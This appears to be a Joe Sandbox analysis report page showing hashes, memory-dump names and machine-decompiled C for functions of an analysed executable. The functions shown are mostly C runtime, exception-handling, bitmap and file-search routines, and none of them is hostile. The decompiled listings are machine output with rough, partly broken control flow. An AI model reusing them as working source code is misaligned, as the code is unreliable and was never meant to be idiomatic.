Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID:
API String ID: 142272564-0
Opcode ID: 2b58f02109389190728f165a56475e871dfd1feeb4e8fca0ef4e779ee513e70e
Instruction ID: ae955643e223aae0888ceb36897df9389d11073a66c194ae7497c290edcbf1ee
Opcode Fuzzy Hash: 2b58f02109389190728f165a56475e871dfd1feeb4e8fca0ef4e779ee513e70e
Instruction Fuzzy Hash: BC01DF7254121626EA21B67C9D81AEA7B6EAF84B59F090190AF04A7A84FE618C1183A1

Uniqueness

Uniqueness Score: -1.00%

Function 013C0FD6 Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E013C0FD6(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t25;
				void* _t27;
				void* _t28;
				intOrPtr _t30;
				intOrPtr* _t32;
				void* _t34;

				_t29 = __edx;
				_t27 = __ebx;
				_t36 = _a28;
				_t30 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t30);
					_push(_a4);
					E013C1625(__edx, _t36);
					_t34 = _t34 + 0x10;
				}
				_t37 = _a40;
				_push(_a4);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t30);
				}
				E013BE6FB(_t28);
				_t32 = _a32;
				_push( *_t32);
				_push(_a20);
				_push(_a16);
				_push(_t30);
				E013C1827(_t27, _t28, _t29, _t30, _t37);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t30 + 8)) =  *((intOrPtr*)(_t32 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t30);
				_push(_a4);
				_t25 = E013C0DE0(_t29, _t32, _t37);
				if(_t25 != 0) {
					E013BE6C9(_t25, _t30);
					return _t25;
				}
				return _t25;
			}

0x013c0fd6
0x013c0fd6
0x013c0fd9
0x013c0fde
0x013c0fe1
0x013c0fe3
0x013c0fe6
0x013c0fe9
0x013c0fea
0x013c0fed
0x013c0ff2
0x013c0ff2
0x013c0ff5
0x013c0ff9
0x013c0ffc
0x013c1001
0x013c0ffe
0x013c0ffe
0x013c0ffe
0x013c1004
0x013c100a
0x013c100d
0x013c100f
0x013c1012
0x013c1015
0x013c1016
0x013c101f
0x013c1024
0x013c1027
0x013c102d
0x013c1030
0x013c1033
0x013c1036
0x013c1037
0x013c103a
0x013c1045
0x013c1049
0x00000000
0x013c1049
0x013c1050

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 013C0FED

Part of subcall function 013C1625: ___AdjustPointer.LIBCMT ref: 013C166F

_UnwindNestedFrames.LIBCMT ref: 013C1004
___FrameUnwindToState.LIBVCRUNTIME ref: 013C1016
CallCatchBlock.LIBVCRUNTIME ref: 013C103A

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: b9fa4c2ca776b65944230fb083eb0fa8b0de912ee33a1d220a96a688825d65b2
Instruction ID: 675ff876413539a75bd61b870ff1c15b8b08502be0fe489a33b0b2ab1b8bb000
Opcode Fuzzy Hash: b9fa4c2ca776b65944230fb083eb0fa8b0de912ee33a1d220a96a688825d65b2
Instruction Fuzzy Hash: 9A01293210014AFBCF125F59CC44EDA7FBAEF58B58F044018FA1861121D776E8A1EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013AFB54 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E013AFB54(void* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t6;
				intOrPtr _t8;
				intOrPtr _t10;
				void* _t11;
				long* _t15;
				void* _t16;
				void* _t20;

				_t16 = __edx;
				_t11 = __ecx;
				E013BCDF0(E013CF688, _t20);
				_push(_t11);
				EnterCriticalSection(0x13e1e74);
				_t6 =  *0x13e1e90; // 0x0
				 *0x13e1e90 = _t6 + 1;
				_t23 = _t6;
				if(_t6 == 0) {
					_t15 = E013BCDAC(_t16, 0x13e1e74, _t23, 0x1b8);
					 *((intOrPtr*)(_t20 - 0x10)) = _t15;
					_t10 = 0;
					 *((intOrPtr*)(_t20 - 4)) = 0;
					if(_t15 != 0) {
						_t10 = E013AF982(_t15, 0x20);
					}
					 *0x13e1e8c = _t10;
				}
				LeaveCriticalSection(0x13e1e74);
				_t8 =  *0x13e1e8c; // 0x6c4300
				 *[fs:0x0] =  *((intOrPtr*)(_t20 - 0xc));
				return _t8;
			}

0x013afb54
0x013afb54
0x013afb59
0x013afb5e
0x013afb66
0x013afb6c
0x013afb74
0x013afb79
0x013afb7b
0x013afb88
0x013afb8a
0x013afb8d
0x013afb8f
0x013afb94
0x013afb98
0x013afb98
0x013afb9d
0x013afb9d
0x013afba3
0x013afba9
0x013afbb2
0x013afbbc

APIs

__EH_prolog.LIBCMT ref: 013AFB59
EnterCriticalSection.KERNEL32(013E1E74,?,?,013AA812,?,013AC79B,?,00000000,?,00000001,?,?,?,013B3AFE,?,00008000), ref: 013AFB66
new.LIBCMT ref: 013AFB82

Part of subcall function 013AF982: InitializeCriticalSection.KERNEL32(000001A0,00000000,013E1E74,?,?,013AFB9D,00000020,?,013AA812,?,013AC79B,?,00000000,?,00000001,?), ref: 013AF9BB
Part of subcall function 013AF982: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,013AA812,?,013AC79B,?,00000000,?,00000001,?,?,?,013B3AFE), ref: 013AF9C5
Part of subcall function 013AF982: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,013AA812,?,013AC79B,?,00000000,?,00000001,?,?,?,013B3AFE), ref: 013AF9D5

LeaveCriticalSection.KERNEL32(013E1E74,?,013AA812,?,013AC79B,?,00000000,?,00000001,?,?,?,013B3AFE,?,00008000,?), ref: 013AFBA3

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CriticalSection$Create$EnterEventH_prologInitializeLeaveSemaphore
String ID:
API String ID: 3780591329-0
Opcode ID: 2b8ab4985497c6777bf13a4437b54a7e84b427f8179e86ee4664aaf2470510c4
Instruction ID: f083bb774880a83839685705a7a568f14ca00e15536514d66fd4a3ceb005be64
Opcode Fuzzy Hash: 2b8ab4985497c6777bf13a4437b54a7e84b427f8179e86ee4664aaf2470510c4
Instruction Fuzzy Hash: EBF01235A023129BD7689F6CA415AAD7AEDEB89718F40416DF849D7384DB7049008B54

Uniqueness

Uniqueness Score: -1.00%

Function 013C0B06 Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013C0B06() {
				void* _t4;
				void* _t8;

				E013C1F24();
				E013C1EB8();
				if(E013C1BDE() != 0) {
					_t4 = E013C0C46(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E013C1C1A();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x013c0b06
0x013c0b0b
0x013c0b17
0x013c0b1c
0x013c0b21
0x013c0b23
0x013c0b2e
0x013c0b25
0x013c0b25
0x00000000
0x013c0b25
0x013c0b19
0x013c0b19
0x013c0b1b
0x013c0b1b

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 013C0B06
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 013C0B0B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 013C0B10

Part of subcall function 013C1BDE: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 013C1BEF

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 013C0B25

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 531e6f4e0a03c94a47563f5691ee99a7aac98bf87a5ed1e2fb88b7d1485fc598
Instruction ID: 5485179c9bf8f9559d4108618a5b87ce2409e95bdcf522d8d30890d9a8ec6aca
Opcode Fuzzy Hash: 531e6f4e0a03c94a47563f5691ee99a7aac98bf87a5ed1e2fb88b7d1485fc598
Instruction Fuzzy Hash: 4FC002696002D7D4DC697EBDA1001EA13441C72ECCB80558DA8565B5075A47AC1A6736

Uniqueness

Uniqueness Score: -1.00%

Function 013B8CF2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E013B8CF2(void* __edx, long long __fp0, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v0;
				signed int _v4;
				void _v68;
				signed int _v72;
				signed int _v76;
				char _v112;
				intOrPtr _v116;
				intOrPtr* _v120;
				short _v122;
				short _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				intOrPtr* _v140;
				char _v144;
				intOrPtr* _v152;
				intOrPtr _v156;
				intOrPtr* _v164;
				char _v180;
				intOrPtr* _v184;
				intOrPtr* _v192;
				intOrPtr* _v200;
				intOrPtr* _v212;
				signed int _v216;
				signed int _v220;
				intOrPtr* _v224;
				char _v228;
				intOrPtr _v232;
				void* __edi;
				signed int _t71;
				intOrPtr* _t77;
				void* _t78;
				intOrPtr* _t79;
				intOrPtr* _t81;
				short _t89;
				intOrPtr* _t93;
				intOrPtr* _t95;
				intOrPtr* _t97;
				intOrPtr* _t101;
				signed int _t103;
				intOrPtr* _t111;
				intOrPtr* _t113;
				intOrPtr* _t115;
				signed int _t120;
				intOrPtr _t124;
				intOrPtr* _t132;
				intOrPtr* _t134;
				void* _t146;
				void* _t149;
				signed int _t152;
				void* _t154;
				long long* _t155;
				long long _t158;

				_t158 = __fp0;
				if(E013B8BA4() != 0) {
					_t146 = _a4;
					GetObjectW(_t146, 0x18,  &_v68);
					_t152 = _v4;
					_t120 = _v0;
					asm("cdq");
					_t71 = _v72 * _t152 / _v76;
					if(_t71 < _t120) {
						_t120 = _t71;
					}
					_t149 = 0;
					_push( &_v112);
					_push(0x13d1314);
					_push(1);
					_push(0);
					_push(0x13d188c);
					if( *0x13dab58() < 0) {
						L18:
						return _t146;
					} else {
						_t77 = _v132;
						_t78 =  *((intOrPtr*)( *_t77 + 0x54))(_t77, _t146, 0, 2,  &_v128);
						_t79 = _v152;
						if(_t78 >= 0) {
							_v144 = 0;
							_push( &_v144);
							_push(_t79);
							if( *((intOrPtr*)( *_t79 + 0x28))() >= 0) {
								_t81 = _v152;
								asm("fldz");
								_push(0);
								_t124 =  *_t81;
								_push(_t124);
								_push(_t124);
								 *_t155 = _t158;
								_push(0);
								_push(0);
								_push(0x13d189c);
								_push(_v156);
								_push(_t81);
								if( *((intOrPtr*)(_t124 + 0x20))() >= 0) {
									E013BDE40(_t146,  &_v136, 0, 0x2c);
									_v136 = 0x28;
									_v132 = _t152;
									_v120 = 0;
									_v128 =  ~_t120;
									_v124 = 1;
									_t89 = 0x20;
									_v122 = _t89;
									_t154 =  *0x13daa3c(0,  &_v136, 0,  &_v180, 0, 0);
									asm("sbb ecx, ecx");
									if(( ~_t154 & 0x7ff8fff2) + 0x8007000e >= 0) {
										_t132 = _v216;
										 *((intOrPtr*)( *_t132 + 0x2c))(_t132,  &_v112);
										_t101 = _v120;
										 *((intOrPtr*)( *_t101 + 0x20))(_t101, _v220, _v116, _t120, 3);
										_t103 = _v136;
										_push(_v232);
										_t134 = _v140;
										_v220 = _t103;
										_v228 = 0;
										_v224 = 0;
										_v216 = _t120;
										_push(_t103 * _t120 << 2);
										_push(_v136 << 2);
										_push( &_v228);
										_push(_t134);
										if( *((intOrPtr*)( *_t134 + 0x1c))() < 0) {
											DeleteObject(_t154);
										} else {
											_t149 = _t154;
										}
										_t111 = _v164;
										 *((intOrPtr*)( *_t111 + 8))(_t111);
									}
									_t93 = _v212;
									 *((intOrPtr*)( *_t93 + 8))(_t93);
									_t95 = _v212;
									 *((intOrPtr*)( *_t95 + 8))(_t95);
									_t97 = _v224;
									 *((intOrPtr*)( *_t97 + 8))(_t97);
									if(_t149 != 0) {
										_t146 = _t149;
									}
									goto L18;
								}
								_t113 = _v184;
								 *((intOrPtr*)( *_t113 + 8))(_t113);
							}
							_t115 = _v192;
							 *((intOrPtr*)( *_t115 + 8))(_t115);
							_t79 = _v200;
						}
						 *((intOrPtr*)( *_t79 + 8))(_t79);
						goto L18;
					}
				}
				_push(_a12);
				_push(_a8);
				_push(_a4);
				return E013B8EE9();
			}

0x013b8cf2
0x013b8cfc
0x013b8d17
0x013b8d23
0x013b8d2d
0x013b8d34
0x013b8d38
0x013b8d39
0x013b8d3f
0x013b8d41
0x013b8d41
0x013b8d48
0x013b8d4a
0x013b8d4b
0x013b8d53
0x013b8d54
0x013b8d55
0x013b8d62
0x013b8edd
0x00000000
0x013b8d68
0x013b8d68
0x013b8d78
0x013b8d7d
0x013b8d81
0x013b8d8e
0x013b8d98
0x013b8d99
0x013b8d9f
0x013b8db1
0x013b8db5
0x013b8db7
0x013b8db8
0x013b8dba
0x013b8dbb
0x013b8dbc
0x013b8dbf
0x013b8dc0
0x013b8dc1
0x013b8dc6
0x013b8dca
0x013b8dd0
0x013b8de6
0x013b8dee
0x013b8df8
0x013b8dfe
0x013b8e02
0x013b8e0b
0x013b8e10
0x013b8e13
0x013b8e2a
0x013b8e30
0x013b8e3e
0x013b8e40
0x013b8e4c
0x013b8e4f
0x013b8e64
0x013b8e67
0x013b8e6b
0x013b8e6f
0x013b8e73
0x013b8e7a
0x013b8e7e
0x013b8e82
0x013b8e8b
0x013b8e96
0x013b8e9b
0x013b8e9c
0x013b8ea2
0x013b8ea9
0x013b8ea4
0x013b8ea4
0x013b8ea4
0x013b8eaf
0x013b8eb6
0x013b8eb6
0x013b8eb9
0x013b8ec0
0x013b8ec3
0x013b8eca
0x013b8ecd
0x013b8ed4
0x013b8ed9
0x013b8edb
0x013b8edb
0x00000000
0x013b8ed9
0x013b8dd2
0x013b8dd9
0x013b8dd9
0x013b8da1
0x013b8da8
0x013b8dab
0x013b8dab
0x013b8d86
0x00000000
0x013b8d86
0x013b8d62
0x013b8cfe
0x013b8d02
0x013b8d06
0x00000000

APIs

Part of subcall function 013B8BA4: GetDC.USER32(00000000), ref: 013B8BA8
Part of subcall function 013B8BA4: GetDeviceCaps.GDI32(00000000,0000000C), ref: 013B8BB3
Part of subcall function 013B8BA4: ReleaseDC.USER32(00000000,00000000), ref: 013B8BBE

GetObjectW.GDI32(?,00000018,?,00000000,?,751F5B70), ref: 013B8D23

Part of subcall function 013B8EE9: GetDC.USER32(00000000), ref: 013B8EF2
Part of subcall function 013B8EE9: GetObjectW.GDI32(?,00000018,?,?,?,751F5B70,?,?,?,?,?,013B8D0F,?,?,?), ref: 013B8F21
Part of subcall function 013B8EE9: ReleaseDC.USER32(00000000,?), ref: 013B8FB5

Strings

(, xrefs: 013B8DEE

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 29f41871108519144dc33f09f85c3428cc78afcfe5dd18323bbe0dffbb8c241c
Instruction ID: 19b04f756fbae52ed43e3fe1a0460ab5d507a674d4be6edcda49ea7b1603b9c4
Opcode Fuzzy Hash: 29f41871108519144dc33f09f85c3428cc78afcfe5dd18323bbe0dffbb8c241c
Instruction Fuzzy Hash: D861F3B1208205AFD214DF68D884EABBBEDEF89708F10495DF699C7221D771E905CB62

Uniqueness

Uniqueness Score: -1.00%

Function 013B01CD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 013B0393

Strings

%ls, xrefs: 013B020C, 013B0222
%s: %s, xrefs: 013B03A2

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: afa1b0547b24c9076f5b942cf8749afade1978fa6771134c2bf9c0cc6115c50d
Instruction ID: ceb8a8d13c6621ae7e2cfe07095270c58b47108c588e699d5b99b45177740a76
Opcode Fuzzy Hash: afa1b0547b24c9076f5b942cf8749afade1978fa6771134c2bf9c0cc6115c50d
Instruction Fuzzy Hash: 8351D831288309FAFA2D16988CC6FB7767DAB55B0CF408506F78F7CCD0F6A1A5548A16

Uniqueness

Uniqueness Score: -1.00%

Function 013C7BD9 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E013C7BD9(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				CHAR* _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				struct _WIN32_FIND_DATAA _v336;
				union _FINDEX_INFO_LEVELS _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				union _FINDEX_INFO_LEVELS _t123;
				signed int _t128;
				signed int _t131;
				void* _t137;
				void* _t139;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				signed int _t147;
				signed int* _t148;
				signed int _t151;
				void* _t154;
				CHAR* _t155;
				char _t158;
				char _t160;
				intOrPtr* _t163;
				void* _t164;
				intOrPtr* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				intOrPtr* _t184;
				void* _t193;
				intOrPtr _t194;
				signed int _t196;
				signed int _t197;
				signed int _t199;
				signed int _t200;
				signed int _t202;
				union _FINDEX_INFO_LEVELS _t203;
				signed int _t208;
				signed int _t210;
				signed int _t211;
				void* _t213;
				intOrPtr _t214;
				void* _t215;
				signed int _t219;
				void* _t221;
				signed int _t222;
				void* _t223;
				void* _t224;
				void* _t225;
				signed int _t226;
				void* _t227;
				void* _t228;

				_t80 = _a8;
				_t224 = _t223 - 0x20;
				if(_t80 != 0) {
					_t208 = _a4;
					_t160 = 0;
					 *_t80 = 0;
					_t199 = 0;
					_t151 = 0;
					_v36 = 0;
					_v336.cAlternateFileName = 0;
					_v28 = 0;
					__eflags =  *_t208;
					if( *_t208 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t151 - _t199;
						_v8 = _t160;
						_t191 = (_t82 >> 2) + 1;
						__eflags = _t151 - _t199;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t210 =  !_t208 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t210;
						if(_t210 != 0) {
							_t197 = _t199;
							_t158 = _t160;
							do {
								_t184 =  *_t197;
								_t17 = _t184 + 1; // 0x1
								_v8 = _t17;
								do {
									_t143 =  *_t184;
									_t184 = _t184 + 1;
									__eflags = _t143;
								} while (_t143 != 0);
								_t158 = _t158 + 1 + _t184 - _v8;
								_t197 = _t197 + 4;
								_t145 = _v12 + 1;
								_v12 = _t145;
								__eflags = _t145 - _t210;
							} while (_t145 != _t210);
							_t191 = _v16;
							_v8 = _t158;
							_t151 = _v336.cAlternateFileName;
						}
						_t211 = E013C4E13(_t191, _v8, 1);
						_t225 = _t224 + 0xc;
						__eflags = _t211;
						if(_t211 != 0) {
							_t87 = _t211 + _v16 * 4;
							_v20 = _t87;
							_t192 = _t87;
							_v16 = _t87;
							__eflags = _t199 - _t151;
							if(_t199 == _t151) {
								L23:
								_t200 = 0;
								__eflags = 0;
								 *_a8 = _t211;
								goto L24;
							} else {
								_t93 = _t211 - _t199;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t163 =  *_t199;
									_v12 = _t163 + 1;
									do {
										_t95 =  *_t163;
										_t163 = _t163 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t164 = _t163 - _v12;
									_t35 = _t164 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E013CBFEB(_t164, _t192, _v20 - _t192 + _v8,  *_t199);
									_t225 = _t225 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E013C5D1D();
										asm("int3");
										_t221 = _t225;
										_push(_t164);
										_t165 = _v64;
										_t47 = _t165 + 1; // 0x1
										_t193 = _t47;
										do {
											_t103 =  *_t165;
											_t165 = _t165 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t199);
										_t202 = _a8;
										_t167 = _t165 - _t193 + 1;
										_v12 = _t167;
										__eflags = _t167 - (_t103 | 0xffffffff) - _t202;
										if(_t167 <= (_t103 | 0xffffffff) - _t202) {
											_push(_t151);
											_t50 = _t202 + 1; // 0x1
											_t154 = _t50 + _t167;
											_t213 = E013C5A7D(_t167, _t154, 1);
											_t169 = _t211;
											__eflags = _t202;
											if(_t202 == 0) {
												L34:
												_push(_v12);
												_t154 = _t154 - _t202;
												_t108 = E013CBFEB(_t169, _t213 + _t202, _t154, _v0);
												_t226 = _t225 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t137 = E013C7FA8(_a12, _t193, __eflags, _t213);
													E013C59B2(0);
													_t139 = _t137;
													goto L36;
												}
											} else {
												_push(_t202);
												_t140 = E013CBFEB(_t169, _t213, _t154, _a4);
												_t226 = _t225 + 0x10;
												__eflags = _t140;
												if(_t140 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E013C5D1D();
													asm("int3");
													_push(_t221);
													_t222 = _t226;
													_t227 = _t226 - 0x150;
													_t111 =  *0x13da1c8; // 0x21a16d55
													_v116 = _t111 ^ _t222;
													_t170 = _v100;
													_push(_t154);
													_t155 = _v104;
													_push(_t213);
													_t214 = _v96;
													_push(_t202);
													_v440 = _t214;
													while(1) {
														__eflags = _t170 - _t155;
														if(_t170 == _t155) {
															break;
														}
														_t113 =  *_t170;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
																	_t170 = E013CC040(_t155, _t170);
																	continue;
																}
															}
														}
														break;
													}
													_t194 =  *_t170;
													__eflags = _t194 - 0x3a;
													if(_t194 != 0x3a) {
														L47:
														_t203 = 0;
														__eflags = _t194 - 0x2f;
														if(_t194 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t194 - 0x5c;
															if(_t194 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t194 - 0x3a;
																if(_t194 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t170 - _t155 + 0x00000001;
														E013BDE40(_t203,  &_v336, _t203, 0x140);
														_t228 = _t227 + 0xc;
														_t215 = FindFirstFileExA(_t155, _t203,  &_v336, _t203, _t203, _t203);
														_t123 = _v340;
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															_t174 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t174;
															_v348 = _t174 >> 2;
															do {
																__eflags = _v336.cFileName - 0x2e;
																if(_v336.cFileName != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &(_v336.cFileName);
																	_push(_t155);
																	_push(_t123);
																	L28();
																	_t228 = _t228 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t178 = _v291;
																	__eflags = _t178;
																	if(_t178 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t178 - 0x2e;
																		if(_t178 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 = FindNextFileA(_t215,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t195 =  *_t123;
															_t179 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t179 - _t131;
															if(_t179 != _t131) {
																E013CBBA0(_t155, _t203, _t215, _t195 + _t179 * 4, _t131 - _t179, 4, E013C7BC1);
															}
														} else {
															_push(_t123);
															_push(_t203);
															_push(_t203);
															_push(_t155);
															L28();
															L54:
															_t203 = _t123;
														}
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															FindClose(_t215);
														}
													} else {
														__eflags = _t170 -  &(_t155[1]);
														if(_t170 ==  &(_t155[1])) {
															goto L47;
														} else {
															_push(_t214);
															_push(0);
															_push(0);
															_push(_t155);
															L28();
														}
													}
													L58:
													__eflags = _v16 ^ _t222;
													return E013BD763(_v16 ^ _t222);
												} else {
													goto L34;
												}
											}
										} else {
											_t139 = 0xc;
											L36:
											return _t139;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t196 = _v16;
									 *((intOrPtr*)(_v24 + _t199)) = _t196;
									_t199 = _t199 + 4;
									_t192 = _t196 + _v12;
									_v16 = _t196 + _v12;
